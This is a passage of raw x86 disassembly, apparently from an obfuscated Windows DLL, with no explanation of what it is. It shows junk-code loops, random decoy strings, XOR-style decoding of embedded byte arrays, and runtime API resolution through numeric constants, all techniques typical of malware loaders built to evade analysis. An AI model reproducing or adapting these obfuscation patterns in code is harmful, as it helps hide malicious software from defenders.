mov dword [ebp - 0x14], ebx
jmp 0x10008842
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x458], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10008835
mov eax, dword [ebp - 0x450]
xor ecx, ecx
imul eax, dword [ebp - 0x450]
cmp eax, 0x4a6b
mov eax, 0xe7fb108f
setl cl
mov dword [ebp - 0x250], ecx
lea ecx, [ebp - 0x384]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x254], eax
call fcn.10003978
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x16
call fcn.10003978
push ebx
push 0xc8f
push 0xdf3
call fcn.10024ebc
pop ecx
pop ecx
call eax
push 4
lea ecx, [ebp - 0x33c]
call fcn.100038f5
push 2
pop edi
push edi
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x1e
call fcn.100038f5
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], 4
jge 0x100088e9
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x33c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], 4
jl 0x100088d4
push ecx
push 0x4463
push ecx
push 1
lea eax, [ebp - 0x58]
mov edx, 0x50fd
push eax
lea eax, [ebp - 0x2dc]
push eax
call fcn.10006e11
xor eax, eax
mov byte [ebp - 0x45], bl
inc eax
lea ecx, [ebp - 0x45]
push eax
push ebx
push ecx
mov edx, 0x61ae
mov cl, al
call fcn.10006467
add esp, 0x24
lea ecx, [ebp - 0x33c]
xor eax, eax
inc eax
mov dl, al
push 0x70aa
push ebx
push 0x5f98
push eax
push ecx
lea ecx, [ebp - 0x2dc]
push ecx
push 0x7254
mov ecx, 0x7779
call fcn.10007161
add esp, 0x1c
lea ecx, [ebp - 0x2dc]
call fcn.10003978
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x16
call fcn.10003978
push ecx
push 0x428
push ecx
lea eax, [ebp - 0x3c8]
xor cl, cl
push eax
call fcn.10007359
push 0x7732
xor eax, eax
mov dword [ebp - 0x44], ebx
inc eax
mov dword [ebp - 0x1a4], edi
push eax
push 0x4580
push eax
push 0x3c47
push 0x4672
push 0x453b
mov dl, al
lea ecx, [ebp - 0x1a4]
call fcn.10007161
add esp, 0x28
lea eax, [ebp - 0x1a4]
xor cl, cl
push eax
call fcn.10007286
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x158], 0x7a220a04
push 0x74
inc eax
mov dword [ebp - 0x154], 0x9240805
pop ecx
mov dword [ebp - 0x150], 0x5e040e21
mov dword [ebp - 0x14c], 0xe068cb3
mov word [ebp - 0x148], 0xf1b
mov byte [ebp - 0x146], 0x1c
mov byte [ebp - 0x145], al
mov byte [ebp - 0x144], cl
push 0x43
mov byte [ebp - 0x12a], al
pop eax
mov byte [ebp - 0x13e], bl
mov byte [ebp - 0x136], bl
mov byte [ebp - 0x130], bl
mov byte [ebp - 0x128], cl
mov ecx, ebx
mov byte [ebp - 0x11a], bl
mov byte [ebp - 0x118], bl
mov byte [ebp - 0x116], bl
mov byte [ebp - 0x111], bl
xor ebx, ebx
push 2
mov dword [ebp - 0x143], 0x1d1a6809
inc ebx
mov byte [ebp - 0x13f], 6
mov dword [ebp - 0x13d], 0x39114d25
mov word [ebp - 0x139], 0x7d0d
mov byte [ebp - 0x137], 0x14
mov dword [ebp - 0x135], 0x1e180a0b
mov byte [ebp - 0x131], 0x13
mov dword [ebp - 0x12f], 0x21c1f12
mov byte [ebp - 0x12b], 0x15
mov byte [ebp - 0x129], 0x23
mov dword [ebp - 0x127], 0x610721f
mov dword [ebp - 0x123], 0x216721b
mov dword [ebp - 0x11f], 0x720a071e
mov byte [ebp - 0x11b], 0x17
mov byte [ebp - 0x119], 0xc
mov byte [ebp - 0x117], 0x1d
mov dword [ebp - 0x115], 0x7d080d20
mov dword [ebp - 0x110], 0x33f023f
mov dword [ebp - 0x10c], 0x708197c
mov byte [ebp - 0x108], 8
mov word [ebp - 0x5b8], ax
pop esi
mov dword [ebp - 0x174], ecx
cmp esi, 0xa
jne 0x10008b20
push 5
pop ecx
push 0xd
mov dword [ebp - 0x174], ecx
pop esi
jmp 0x10008b85
movzx edx, byte [ebp + esi - 0x157]
mov eax, esi
sub eax, ecx
push 0x10b8
push ebx
push 0x6ef2
movzx eax, byte [ebp + eax - 0x15a]
push ebx
movzx eax, word [ebp + eax*2 - 0x5c0]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x43b2
sub ecx, eax
movzx eax, byte [ebp + esi - 0x158]
mov word [ebp + eax*2 - 0x5c0], cx
lea eax, [ebp - 0x174]
push eax
push ebx
push 0x4c8a
mov ecx, 0x7f8b
call fcn.100063dd
mov ecx, dword [ebp - 0x174]
add esp, 0x1c
add esi, 2
cmp esi, 0x51
jb 0x10008b0d
xor eax, eax
mov word [ebp - 0x574], ax
mov dword [ebp - 0x1c], 0xfff9
mov dword [ebp - 0x20], 0x583a
cmp dword [ebp - 0x20], 0x5927
push eax
pop ebx
jle 0x10008bf0
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
lea ecx, [edi + esi]
mov eax, ebx
sar eax, cl
mov ecx, 0x10081bf8
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x7206
jl 0x10008bb9
inc esi
push 0
pop ebx
cmp esi, 0x288e
jl 0x10008bb4
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x3a07
jl 0x10008bb2
mov dword [ebp - 0x18], 0x2aa6
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x20], 0x553a
jge 0x10008c31
mov edx, str.jbap_sxcuifbnl_qmed_dbslnoac_sicr_uskc_hsqtrg_tzxqda_ezgxacy_nufiuetl_rnj_makslnok_ixrvjr_atbq
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x10008c31
mov dword [ebp - 4], 0x16
xor edx, edx
mov dword [ebp - 0x2c], 0xfffffff6
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x34], 0xd53d2ae4
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x1e8], 0x493a
mov dword [ebp - 0x14], ebx
jmp 0x10008c80
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x290], 0x4e5477a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10008c6f
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
inc eax
neg eax
jne 0x10008ca0
mov eax, dword [ebp - 0x2c]
mov ecx, ebx
imul eax, dword [ebp - 0x18]
test eax, eax
je 0x10008ca2
mov ecx, edx
mov eax, dword [ebp - 0x20]
sub ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setle al
xor ecx, ecx
cmp eax, 0xe6b6cd3
setg cl
add ecx, 0xffff
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp edx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
je 0x10008cf9
lea eax, [ebp - 0x47]
mov byte [ebp - 0x47], bl
push eax
push ebx
push 0x6627
push 0x801
push ecx
call fcn.100073b9
add esp, 0x14
jmp 0x10008d08
push ecx
push 0x405c
mov cl, dl
call fcn.10007286
pop ecx
pop ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x24], 0x8e6b
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x1c]
jle 0x10008f63
cmp dword [ebp - 0x2c], ebx
je 0x10008f63
xor eax, eax
lea ecx, [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x290], eax
push eax
call fcn.100038f5
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x24], 0x1c5a
cmp dword [ebp - 0x24], 0x1e34
jle 0x10008dcc
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, esi
mov dword [ebp - 0x20], 0x3b6b
mov esi, dword [ebp - 0x18]
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x540]
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10008d94
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x540]
call fcn.10003c82
dec edi
dec dword [ebp - 0x20]
jne 0x10008d76
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x7497
jl 0x10008d6a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x6540
jl 0x10008d65
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x24], 0x1b80
jge 0x10008de3
push str.awnhrz_uxtlluq_fgafvwowz_gqe_wnbuglrq_xleqdpan_xrcqyrf_zajfchkyw_zgcouiwk_kfdyws_eybkrcuot_pcn_ddqwirhjh_yziyjwqh
call fcn.1004c11f
pop ecx
push 2
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 4], 0x22
call fcn.100038f5
mov byte [ebp - 4], 0x25
xor edx, edx
mov dword [ebp - 0x34], 0x5ab171c2
inc edx
mov dword [ebp - 0x1c], ebx
jmp 0x10008e19
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3ec]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10008e0a
mov dword [ebp - 0x1c], ebx
jmp 0x10008e36
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3a0]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10008e23
lea eax, [ebp - 0x1e8]
mov cl, dl
push 0x4fcc
push eax
call fcn.10006797
pop ecx
pop ecx
lea ecx, [ebp - 0x3a0]
call fcn.10003978
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0x16
call fcn.10003978
xor eax, eax
mov dword [ebp - 0x31c], 7
mov word [ebp - 0x330], ax
lea ecx, [ebp - 0x330]
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0x320], ebx
push eax
call fcn.10003d6e
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x18], 0x399841b3
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0x10
jl 0x10009187
mov dword [ebp - 0x24], 0x57102d14
lea ecx, [ebp - 0x370]
push 3
call fcn.100038f5
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x28], 0x1678
cmp dword [ebp - 0x28], 0x17b3
jle 0x10008f5b
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x34], edi
mov esi, ebx
and edi, eax
mov eax, esi
xor eax, edi
or eax, ecx
lea ecx, [ebp - 0x4f8]
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10008f11
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f8]
call fcn.10003c82
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x7a68
jl 0x10008ef3
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x2b29
jl 0x10008eec
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x7ebd
jl 0x10008ee7
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x24d5
jl 0x10008ee2
mov dword [ebp - 0x14], ebx
jmp 0x10009047
xor eax, eax
mov dword [ebp - 0x290], ebx
inc eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x1c], 0xb
cmp dword [ebp - 0x1c], 0x36
jg 0x10008e6b
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x18], 0x642
cmp dword [ebp - 0x18], 0x775
jle 0x10008fd9
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x20], 0x462d
mov esi, edi
mov ebx, 0x2dd1
mov eax, esi
mov ecx, 0x10081bf8
cdq
push edx
push eax
call fcn.1000377e
dec esi
dec ebx
jne 0x10008fad
mov esi, dword [ebp - 0x28]
add edi, esi
dec dword [ebp - 0x20]
jne 0x10008fa6
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x4098
jl 0x10008f9d
xor eax, eax
inc eax
push ecx
lea edx, [ebp - 0x208]
mov cl, al
call fcn.10006445
mov byte [ebp - 4], 0x26
cmp dword [ebp - 0x18], 0x535
pop ecx
jge 0x10009022
mov edx, str.mymaj_ymcmgmnz_xdaqyj_qdouwywud_ujqploh
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x10009022
xor eax, eax
mov dword [ebp - 4], 0x16
inc eax
inc dword [ebp - 0x1c]
jmp 0x10008f79
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x370]
mov dword [eax + ecx*4], 0x3843046b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10009034
cmp dword [ebp - 0x28], 0x1379
jge 0x10009061
push str.ydgpqzfcd_yqaoptyy_gtdhty_mathqhqdy_kqpsot_vsgbwj_cukkne_frehp
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x24], 0xffffffe9
cmp dword [ebp - 0x24], 0xfffffff4
jg 0x10009170
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x34], 0x7383cc4
mov dword [ebp - 0x14], ebx
jmp 0x100090a0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19c], 0xfc520ea
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000908f
mov dword [ebp - 0x1c], ebx
jmp 0x10009159
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 2
jg 0x10009156
push ecx
lea ecx, [ebp - 0x27c]
call fcn.100038f5
mov byte [ebp - 4], 0x2c
xor edx, edx
mov dword [ebp - 0x34], 6
inc edx
mov dword [ebp - 0x14], ebx
jmp 0x100090f6
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x27c]
mov dword [eax + ecx*4], 0xc865b49d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100090e3
mov eax, dword [ebp - 0x27c]
mov dword [eax], 2
mov dword [ebp - 0x34], 0x9b2e4145
mov dword [ebp - 0x20], 0xc7e43439
dec dword [ebp - 0x20]
mov eax, dword [ebp - 0x27c]
dec dword [eax]
jns 0x10009107
push edx
push ecx
push 0x718b
push ecx
mov ecx, 0x6036
call fcn.100072bb
add esp, 0x10
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x27c]
call fcn.10003978
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
push 1
pop ecx
jle 0x100090c4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100090ad
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff4
jle 0x1000907c
lea ecx, [ebp - 0x370]
mov byte [ebp - 4], 0x28
call fcn.10003978
inc dword [ebp - 0x18]
jmp 0x10008ea4
push 0x13
xor eax, eax
lea edi, [ebp - 0x5c0]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x1e4], 0x7647f1a9
mov dword [ebp - 0x214], 1
mov dword [ebp - 0x218], 0x7d2a
mov dword [ebp - 0x20], 0x35e3
cmp dword [ebp - 0x20], 0x386b
jle 0x10009205
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
lea ecx, [edi + esi]
mov eax, ebx
shl eax, cl
mov ecx, 0x10081bf8
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x1c3a
jl 0x100091ce
inc esi
push 0
pop ebx
cmp esi, 0x1fbe
jl 0x100091c9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x25db
jl 0x100091c7
mov dword [ebp - 0x1f8], 0xfff7
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x20], 0x3210
jge 0x10009249
mov edx, str.vwtw_zob_aex_idirg_qey_jdxoed_hbqh_fmwst
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x10009249
xor eax, eax
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x20c], 6
push ecx
inc eax
mov dword [ebp - 0x200], 0xfffffff9
push eax
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x21c], 0xffffffff
push ecx
lea ecx, [ebp - 0x200]
xor dl, dl
push ecx
lea ecx, [ebp - 0x1e4]
push ecx
push 0x73dc
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x214]
push ecx
push eax
push 0x24f4
lea ecx, [ebp - 0x21c]
call fcn.100069ca
mov byte [ebp - 0x2d], bl
add esp, 0x28
cmp byte [ebp - 0x2d], 0
je 0x100092cc
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 2
lea ecx, [ebp - 0x228]
call fcn.100038f5
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x28], 0x5540
cmp dword [ebp - 0x28], 0x56d0
jle 0x10009355
push ebx
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov ecx, ebx
mov dword [ebp - 0x20], ebx
cdq
mov esi, ebx
idiv ecx
mov eax, edx
mov dword [ebp - 0x34], eax
cdq
mov edi, ebx
idiv esi
mov ebx, edx
mov eax, edi
mov ecx, 0x10081bf8
xor eax, ebx
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x29b7
jl 0x1000930f
mov eax, dword [ebp - 0x34]
inc esi
push 0
pop ebx
cmp esi, 0x7ff5
jl 0x10009308
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x5544
jl 0x100092fe
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x45a0
jl 0x100092f9
mov byte [ebp - 4], 0x30
cmp dword [ebp - 0x28], 0x54b8
jge 0x1000938f
mov edx, str.ozav_prgkrkcfn_qvddwi_wxqroqjs_otrvjys_klo_vrepc_vjocerxi_rqspt
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x1000938f
push 0x4730
push ebx
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 0x2f
push ecx
push ebx
push 0x1249
xor eax, eax
lea ecx, [ebp - 0x228]
inc eax
push 0x28e7
push ecx
mov dl, al
mov ecx, 0x2168
call fcn.10007161
add esp, 0x1c
mov dword [ebp - 0x4c], ebx
jmp 0x100093da
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x234], 0xb6f65e79
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x100093c9
push 1
push 0x60c0
push ecx
lea edx, [ebp - 0x228]
mov ecx, 0x433
call fcn.10007309
mov edx, dword [ebp - 0x228]
xor eax, eax
add esp, 0xc
cmp dword [edx + 4], 0x29729cf3
setne al
xor ecx, ecx
cmp eax, dword [edx + 4]
mov eax, dword [ebp - 0x234]
setl cl
mov dword [edx + 4], ecx
mov edx, dword [ebp - 0x230]
sub edx, eax
mov eax, dword [ebp - 0x230]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x28
call fcn.10003978
push 0x74
pop eax
mov byte [ebp - 0xbc], al
push 0x30
pop eax
mov dword [ebp - 0x100], 0x1d091f19
mov dword [ebp - 0xfc], 0x3016817
mov dword [ebp - 0xf8], 0x415710c
mov dword [ebp - 0xf4], 0x14201e13
mov dword [ebp - 0xf0], 0x21a0b16
mov dword [ebp - 0xec], 0x3f224d25
mov dword [ebp - 0xe8], 0x312721c
mov dword [ebp - 0xe4], 0x9210a0a
mov dword [ebp - 0xe0], 0x21d0602
mov dword [ebp - 0xdc], 0x7b140d1f
mov dword [ebp - 0xd8], 0x14046f0e
mov dword [ebp - 0xd4], 0x70f0f08
mov byte [ebp - 0xd0], 7
mov byte [ebp - 0xcf], bl
mov dword [ebp - 0xce], 0x7a04720b
mov dword [ebp - 0xca], 0x1062db95
mov byte [ebp - 0xc6], 0x72
mov byte [ebp - 0xc5], bl
mov dword [ebp - 0xc4], 0x183f034a
mov dword [ebp - 0xc0], 0x5691169
mov dword [ebp - 0xbb], 0x51b7606
mov dword [ebp - 0xb7], 0x721e7724
mov dword [ebp - 0xb3], 0x7123750d
mov word [ebp - 0x5de], ax
mov dword [ebp - 0x28], 0x7d24
cmp dword [ebp - 0x28], 0x7d39
mov dword [ebp - 0x14], str.luaqpl_czjotn_nwydzvhef_tap
jle 0x100095bf
mov edx, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x558]
or eax, edx
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000957b
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x558]
call fcn.10003c82
mov eax, dword [ebp - 0x18]
inc esi
mov edx, dword [ebp - 0x24]
cmp esi, 0x6836
jl 0x1000955b
inc edi
cmp edi, 0x12be
jl 0x10009559
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x2b8f
jl 0x10009557
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x329a
jl 0x10009552
push 2
mov ecx, ebx
pop esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], esi
cmp esi, 0x51
jae 0x100096cf
movzx eax, byte [ebp - 0x100]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x100095fb
movzx eax, byte [ebp + esi - 0x100]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x18], ecx
jmp 0x100096c7
mov dword [ebp - 0x20], 0x7566
cmp dword [ebp - 0x20], 0x77db
jle 0x10009648
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
lea eax, [edi + esi]
mov ecx, 0x10081bf8
and eax, ebx
cdq
push edx
push eax
call fcn.1000377e
inc ebx
cmp ebx, 0x2b28
jl 0x10009612
inc edi
push 0
pop ebx
cmp edi, 0x1569
jl 0x1000960f
inc esi
cmp esi, 0x5e78
jl 0x1000960d
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
movzx edx, byte [ebp + esi - 0xff]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x102]
movzx ecx, word [ebp + eax*2 - 0x610]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x100]
add ecx, edx
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x20], 0x71d6
mov word [ebp + eax*2 - 0x610], cx
jge 0x100096bb
mov edx, str.qvnfwdx_pwvz_myz_pzhplmw_ytngrfuvu_aicswxsr_andd_kxm_mrtzyni_bqrmlulw_gxfab_wzrguqia_nxkmnhwqq_tagbfq
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x100096bb
mov dword [ebp - 4], 0x28
mov ecx, ebx
mov dword [ebp - 0x18], ebx
add esi, 2
jmp 0x100095c7
cmp dword [ebp - 0x28], 0x79ac
jge 0x100096e1
push dword [ebp - 0x14]
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x30c]
xor eax, eax
mov dword [ebp - 0x2f8], 7
mov word [ebp - 0x5c4], ax
mov word [ebp - 0x30c], ax
lea eax, [ebp - 0x610]
push eax
mov dword [ebp - 0x2fc], ebx
call fcn.10003d6e
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x36
cmp dword [ebp - 0x31c], 8
lea edi, [ebp - 0x610]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x468]
mov esi, 0x1f55
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x330]
cmovae eax, dword [ebp - 0x330]
push eax
push 0xc8f
push esi
call fcn.10024ebc
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10009db0
cmp dword [ebp - 0x2f8], 8
lea ecx, [ebp - 0x488]
push ecx
lea eax, [ebp - 0x30c]
cmovae eax, dword [ebp - 0x30c]
push eax
push 0xc8f
push esi
call fcn.10024ebc
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10009db0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x468]
push eax
push 3
push ebx
lea eax, [ebp - 0x488]
push eax
push 0xc8f
push 0x1435
call fcn.10024ebc
pop ecx
pop ecx
call eax
test eax, eax
js 0x10009db0
cmp dword [ebp - 0x44], 0
je 0x10009db0
push ecx
lea eax, [ebp - 0x438]
xor edx, edx
push eax
push ecx
inc edx
push 0x55c6
mov cl, dl
call fcn.10007359
xor eax, eax
mov word [ebp - 0x60], 0xa02
mov word [ebp - 0x430], ax
add esp, 0x10
mov byte [ebp - 0x5e], bl
mov byte [ebp - 0x5d], 0x33
mov byte [ebp - 0x5c], dl
mov byte [ebp - 0x5b], 0x22
mov byte [ebp - 0x5a], dl
mov byte [ebp - 0x59], 0xb0
mov dword [ebp - 0x20], 0x4250
cmp dword [ebp - 0x20], 0x45dc
jle 0x10009881
push ebx
push 0x11f
push 0x1344
call dword [sym.imp.GDI32.dll_CreatePen]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x570]
or eax, esi
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009852
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x570]
call fcn.10003c82
inc edi
cmp edi, 0x2413
jl 0x10009836
inc esi
cmp esi, 0x77cf
jl 0x10009834
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnregisterClassA]
cmp dword [ebp - 0x20], 0x40dd
push 0x74
pop eax
mov word [ebp - 0x17c], ax
jge 0x1000989f
push str.vuoxspmx_yvwm_dleqzotek_all_eogsqzr_jvy_ilficyy_ifbua_qlloodt_zqgjhag
call fcn.1004c11f
pop ecx
push 2
mov dword [ebp - 4], 0x36
pop esi
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x14], esi
cmp esi, 8
jae 0x10009a10
mov dword [ebp - 0x24], 0x25c
cmp dword [ebp - 0x24], 0x344
jle 0x10009959
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov eax, esi
mov dword [ebp - 0x20], 0x6dcc
cdq
idiv edi
mov edi, edx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x510]
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10009907
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x510]
call fcn.10003c82
inc esi
cmp esi, 0x4b76
jl 0x100098e9
dec edi
dec dword [ebp - 0x20]
jne 0x100098e7
mov edi, dword [ebp - 0x28]
mov esi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x846
jl 0x100098d9
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x763b
jl 0x100098d4
push 0x24b6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [ebp - 0x14]
movzx eax, byte [ebp - 0x60]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1000997e
movzx ecx, byte [ebp + esi - 0x60]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x160], eax
jmp 0x10009a08
cmp dword [ebp - 0x24], 0xdc
jge 0x10009992
push str.jaxeghssw_vyusck_epbcvalb_wyxcjmjao_mkpnnfn_wpm_axr_tvwrknw_itzgh_nhc_kojmzrv_jkaconeu_vbmz
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 0x36
mov eax, esi
sub eax, dword [ebp - 0x160]
movzx edx, byte [ebp + esi - 0x5f]
push 0x6f2d
push ebx
movzx eax, byte [ebp + eax - 0x62]
push 0x6705
push 0x3be8
push 0x5962
movzx ecx, word [ebp + eax*2 - 0x180]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x60]
add ecx, edx
mov word [ebp + eax*2 - 0x180], cx
lea eax, [ebp - 0x160]
push eax
push 0x808
xor eax, eax
